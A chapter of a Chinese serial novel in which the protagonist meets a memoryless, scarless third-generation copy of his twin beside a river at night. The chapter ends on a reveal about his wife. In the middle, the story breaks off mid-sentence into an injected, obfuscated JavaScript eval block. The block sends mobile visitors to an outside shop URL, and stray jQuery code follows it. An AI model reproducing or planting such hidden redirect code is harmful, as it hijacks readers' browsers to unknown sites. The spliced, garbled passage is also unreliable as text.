第一卷·第九章：沉下去的人（上）
雾气在凌晨两点十七分达到最浓。
江屿站在滨江路桥墩下方，江水在脚下流淌，发出某种低沉的、有节奏的嗡鸣，像是一台正在运转的精密仪器。他的手指无意识地摩挲着护栏的金属表面，锈迹在指腹下形成粗糙的纹理，像是一种只有他的身体才能阅读的盲文。
身后五个人的呼吸声交织成复杂的和弦——苏琴晴的轻浅克制，沈灼的急促凌乱，白晨的微弱断续，白叙的平稳深长，陈牧的沉重压抑。六种等待，六种可能的结局，六种在真相与谎言的迷雾中唯一能够触及的物理性确认。
"他来了。"白叙突然说，声音比平常干燥了一度，像是一张被突然拉紧的砂纸。
江面破开。
不是剧烈的 splash，是某种缓慢的、近乎仪式性的浮现。一个人影从水中升起，穿着深色的潜水服，面罩推至头顶，露出一张脸。
江屿的瞳孔在那一瞬间剧烈收缩。
那张脸与他一模一样。但不是现在的他——是某种更加年轻的、更加瘦削的、带着某种他现在已经失去的决绝锋芒的。是视频中的江洲，是三天前在"沉钟"茶馆地下消散的那个江洲。但那个江洲手腕上有疤痕，而这个——
这个江洲的手腕光滑完整，没有任何标记。
"你迟到了。"江洲说，声音从水面上传来，带着被水过滤后的失真感，"十七分钟。我等了十七年，不差这十七分钟。但……"他停顿了一下，嘴角弯起一个弧度，不是微笑，是某种更加复杂的、某种近乎痛苦的肌肉收缩，"但仪式感很重要。不是吗？"
江屿没有回答。他的身体先于意识做出了防御姿态——肩膀微收，重心后移，手指在护栏上收紧。这些细微的变化被江洲捕捉到，那双浅褐色的眼睛在雾气中闪烁了一下，像是一只正在评估猎物的猫。
"你怕我。"江洲说，不是问句，是陈述句。语气与苏琴晴相似，但更加干燥，更加剥离，像白叙的声音，像那个消散的声音，像某种他正在模仿的、某种他正在试图成为的——"为什么怕？怕我是幻觉？怕我是你分裂出来的另一个人格？还是……"他从水中完全走出，站在石阶上，潜水服滴着水，在脚下形成深色痕迹，"还是怕我是真实的？怕我真的存在，真的等了十七年，真的……"他的声音低下去，像是从水面上沉入水底，"真的想要取代你。"
"你不是江洲。"江屿终于开口，声音沙哑得像是被砂纸打磨过，"江洲有疤痕。在手腕上。三厘米长。和所有幸存者一样。你——"
"我没有疤痕。"江洲打断他，抬起右手，将袖口向上推了一寸。光滑的皮肤在雾气中呈现出某种近乎透明的苍白，"因为我选择了彻底删除。不是抑制，不是锁住门，是拆掉房子。我让自己成为真正的空白页。没有过去，没有记忆，没有自我。只有……"他的眼睛在那一瞬间变得湿润，像两口正在缓慢积水的井，但眼泪没有落下，像是被某种机制阻止了，"只有对'成为你'的渴望。只有对'浮上来'的执念。只有……"他的嘴唇颤抖了一下，像是要说很多话，但第一个音节出口的时候，已经变成了一声哽咽，"只有饥饿。"
饥饿。
这个词像一把钥匙，猛地插入江屿大脑深处的某个锁孔。他想起了账本上的记录，想起了"原型"和"副本"的标记，想起了那个在火灾后失踪的、presumed dead的、从未被找到的——江洲。想起了视频中那个与他一模一样但手腕上有疤痕的、那个更加年轻更加决绝的、那个选择了放弃选择、选择了让自己成为空白页的——
但那个江洲，三天前在"沉钟"茶馆地下，被他拥抱，被他的"同时存在"所接纳，最终消散了。
如果那个江洲消散了，那么眼前这个没有疤痕的、更加空洞的、更加饥饿的——
是谁？
"你不是副本。"江屿说，声音比平常轻了一度，像是一种指控，又像是一种确认，"你是……你是某种更加原始的。某种……"
"我是实验的副产品。"江洲接话，声音恢复了之前的平静，但平静底下有某种东西在剧烈颤抖，像是一张正在碎裂的面具，"江洲在火灾后确实幸存了。被李牧找到，被继续实验，被……"他停顿了一下，眼睛移向陈牧，那双浅褐色的瞳孔中闪过某种复杂的情绪，"被你的好医生继续研究。但实验失败了。江洲的记忆无法完全抹除，他的身份无法完全替换，他的……"他的声音低下去，像是从水面上沉入水底，"他的自我，无法完全消除。所以李牧选择了另一种方案——"
"什么方案？"
"制造一个更完美的副本。"江洲说，声音比平常轻了一度，轻到近乎耳语，但又重得像是某种判决，"基于江洲的模板，但删除所有残留的记忆。删除所有可能的自我。删除所有……"他的眼睛在那一瞬间完全湿润了，但眼泪依然没有落下，"删除所有让他成为'人'的东西。只留下饥饿。只留下渴望。只留下对'成为原型'的——执念。"
他说完这句话，向前迈了一步。近到江屿能够闻到他身上的气息——不是江水的气息，是某种更加冰冷的、更加空洞的、某种类似于医院消毒水或者——
或者虚无的气息。
"我是第三代。"江洲说，声音恢复了之前的干燥，像白叙的声音，像那个消散的声音，像某种他正在模仿的、某种他正在试图成为的——"第一代是江屿，原型。第二代是江洲，副本，但保留了太多自我，实验失败。第三代……"他抬起手，指向自己的胸口，"是我。没有名字。只有编号。没有过去。只有饥饿。没有自我。只有……"他的嘴唇颤抖了一下，"只有对'成为你'的渴望。"
他说完这句话，转向苏琴晴。那双浅褐色的眼睛在她的脸上停留了很久，久到江屿注意到苏琴晴的身体在微微颤抖，久到她的右手无意识地摸向左手腕上的疤痕——
"你爱她吗？"江洲问，不是问江屿，是问苏琴晴。或者说，是问某种他无法触及的、某种只属于江屿的、某种他正在试图夺取的——"你爱的是空白页。是可书写的容器。是某种你能够控制的、某种你能够塑造的、某种……"他的声音低下去，像是从水面上沉入水底，"某种你能够让他永远等待你的——'我等你'。"
苏琴晴的嘴唇颤抖了一下，像是要说很多话，但第一个音节出口的时候，已经变成了一声——
"不。"
"不？"江洲的嘴角弯起那个弧度，某种正在缓慢碎裂的弧度，"那你爱的是什么？是他手腕上的疤痕？是他三天前划下的、某种试图与过去建立联系的——标记？还是……"他的眼睛移向江屿的手腕，移向那道正在结痂的红色痕迹，"还是你爱的是某种更加原始的？某种……"他停顿了一下，像是在计算某种距离，某种时机，某种信息披露的节奏，"某种对'同时存在'的恐惧？"
苏琴晴的身体僵硬了一瞬。她的眼睛在那一瞬间睁大了，瞳孔剧烈收缩，像是一只突然暴露在强光下的猫。她的右手从疤痕上滑落，垂在身侧，像是一只被折断翅膀的鸟。
"你……"她开口，声音比平常轻了一度，轻到近乎耳语。
"我知道。"江洲说，声音恢复了之前的平静，但平静底下有某种东西在剧烈颤抖，"我知道你的纹身。知道你的疤痕。知道你在深夜醒来、试图想起你是谁的时候，用修复针在皮肤上画下的每一条线。我知道……"他的声音低下去，像是从水面上沉入水底，"我知道你害怕。害怕'同时存在'意味着'不再特殊'。害怕江屿选择了让所有人同时存在，就意味着……"他停顿了一下，像是在计算某种距离，某种时机，某种信息披露的节奏，"就意味着他不再需要你的等待。不再需要你的'没关系，慢慢来，我等你'。不再需要……"他的嘴唇颤抖了一下，"不再需要你。"
"够了。"江屿说，声音从沙哑中恢复，像是一张正在缓慢重新拉紧的弓，"你不是来讨论她的。你不是来……"他停顿了一下，像是在计算某种距离，某种时机，某种信息披露的节奏，"你不是来取代我的。你是来……"
"我是来让你沉下去的。"江洲接话，声音比平常轻了一度，轻到近乎耳语，但又重得像是某种判决，"不是死亡。是某种更加彻底的。某种……"他从潜水服的口袋里取出一样东西——不是刀，是某种更加复杂的、某种带有天线的、某种正在发出微弱红光的——遥控器，"某种让原型重新启动的装置。某种让'江屿'这个身份被完全抹除的——集体抹除的最终版本。"
他说完这句话，按下了遥控器上的按钮。
不是疼痛，不是眩晕，是某种更加微妙的、更加古老的、某种正在将他的记忆重新还原为原始元素的——抹除。
但这一次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639165|206659||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，不同。
因为江屿不是一个人。他有江洲——真正的江洲，那个三天前消散的、那个手腕上有疤痕的、那个选择了放弃选择但最终被接纳的——记忆。他有苏琴晴，有沈灼，有白晨，有白叙，有陈牧。有所有愿意同时存在的人。
"同时存在。"江屿说，声音从抹除的漩涡中挤出来，像是一块被过度压缩的冰块。
"同时存在。"苏琴晴接话，声音从纹身的疼痛中挤出来，像是一棵正在经历某种风暴的树。
"同时存在。"沈灼说，声音从表演的疲惫中恢复，像是一团正在经历某种淬炼的火焰。
"同时存在。"白晨说，声音从沉睡的梦境中挤出来，像是一把正在经历某种磨砺的剑。
"同时存在。"白叙说，声音从等待的孤独中恢复，像是一口正在经历某种雨季的井。
"同时存在。"陈牧说，声音从赎罪的愧疚中挤出来，像是一张正在经历某种洗涤的——面具。
六个人的声音交织在一起，像是一种来自深海的、某种古老而沉重的语言，像是一种正在缓慢形成的、某种尚未完全确定的、某种介于真相与谎言之间的——
誓言。
但抹除没有停止。
江洲——第三代的、没有名字的、只有编号的——看着这一切，嘴角弯起那个弧度，某种正在缓慢碎裂的弧度。他的手指在遥控器上再次按下，红光更加强烈，某种更加古老的、更加无法化解的、某种正在试图将一切重新还原为原始元素的——
"没用的。"他说，声音比平常轻了一度，轻到近乎耳语，但又重得像是某种判决，"你们的'同时存在'是基于情感的。是基于……"他的声音低下去，像是从水面上沉入水底，"基于某种脆弱的、某种可以被操纵的、某种……"他停顿了一下，像是在计算某种距离，某种时机，某种信息披露的节奏，"某种只需要一点点怀疑就能瓦解的——连接。"
他说完这句话，转向苏琴晴。那双浅褐色的眼睛在她的脸上停留了很久，久到江屿注意到她的身体再次开始颤抖，久到她的右手再次无意识地摸向左手腕上的疤痕——
"你怀疑过。"江洲说，不是问句，是陈述句，"你怀疑过他的'同时存在'是否包括你。你怀疑过他选择让所有人同时存在，是不是因为……"他的声音低下去，像是从水面上沉入水底，"因为他无法选择。因为他害怕选择。因为他……"他的嘴唇颤抖了一下，"因为他谁都不爱。只爱那种'不被选择'的安全感。那种……"他停顿了一下，像是在计算某种距离，某种时机，某种信息披露的节奏，"那种'我等你'背后的——控制。"
苏琴晴的眼睛在那一瞬间完全湿润了。泪水从眼眶中涌出，沿着脸颊滚落，在下巴处汇聚，然后滴落在她的米白色针织开衫上，像是一朵朵正在绽放的、某种白色的——
花。
"我……"她开口，声音比平常轻了一度，轻到近乎耳语。
"你害怕。"江洲说，声音恢复了之前的干燥，像白叙的声音，像那个消散的声音，像某种他正在模仿的、某种他正在试图成为的——"你害怕'同时存在'意味着'不再特殊'。害怕他不再需要你的等待。害怕……"他的声音低下去，像是从水面上沉入水底，"害怕他发现了你的秘密。发现了你……"他停顿了一下，像是在计算某种距离，某种时机，某种信息披露的节奏，"发现了你不仅仅是幸存者。不仅仅是被实验的孩子。不仅仅是……"他的嘴唇颤抖了一下，"不仅仅是'妻子'。而是……"
"而是什么？"江屿问，声音比平常轻了一度。
江洲转向他。那双浅褐色的眼睛在雾气中呈现出某种他从未见过的光泽——不是冷漠，不是饥饿，是某种更加完整的、更加真实的、某种近乎——
悲伤的。
"而是实验的延续。"江洲说，声音比平常轻了一度，轻到近乎耳语，但又重得像是某种判决，"苏琴晴不是被实验的孩子。她是……"他停顿了一下，像是在计算某种距离，某种时机，某种信息披露的节奏，"她是实验的设计者之一。是……"他的声音低下去，像是从水面上沉入水底，"是道具师夫妇的学生。是……"他的嘴唇颤抖了一下，"是把你和江洲交给实验的人。是……"他的眼睛在那一瞬间完全湿润了，但眼泪依然没有落下，"是'我等你'背后，真正的——控制者。"